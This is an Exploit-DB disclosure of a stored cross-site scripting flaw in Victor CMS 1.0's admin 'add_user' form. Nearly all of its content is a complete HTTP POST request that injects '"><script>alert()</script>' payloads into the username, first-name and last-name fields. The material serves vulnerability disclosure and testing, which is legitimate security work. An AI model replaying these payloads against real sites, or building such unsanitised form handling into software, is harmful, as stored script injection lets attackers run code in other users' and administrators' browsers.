Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting

EDB-ID:

48511

CVE:

N/A




Platform:

PHP

Date:

2020-05-25


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting
# Google Dork: N/A 
# Date: 2020-05-23 
# Exploit Author: Nitya Nand 
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite 
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip 
# Version: 1.0 
# Tested on: Linux 
# CVE : N/A


Description: The POST parameter 'user_name', 'user_firstname', 'user_lastname' is vulnerable to persistent cross site scripting Payload: <script>alert(1)</script>
POST /phpmaster/admin/users.php?source=add_user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpmaster/admin/users.php?source=add_user
Content-Type: multipart/form-data; boundary=---------------------------515906178311115682892435428
Content-Length: 417375
Connection: close
Cookie: PHPSESSID=8810e038f92cd7c711ee8b95db1dcacb
Upgrade-Insecure-Requests: 1

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_name"
"><script>alert(1)</script>

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_firstname"
"><script>alert(2)</script>

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_lastname"
"><script>alert(3)</script>

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_image"; filename="9400.jpg"
Content-Type: image/jpeg

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_role"
User

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_email"
abc@gmail.com

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_password"
1234

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="create_user"

Add User
-----------------------------515906178311115682892435428--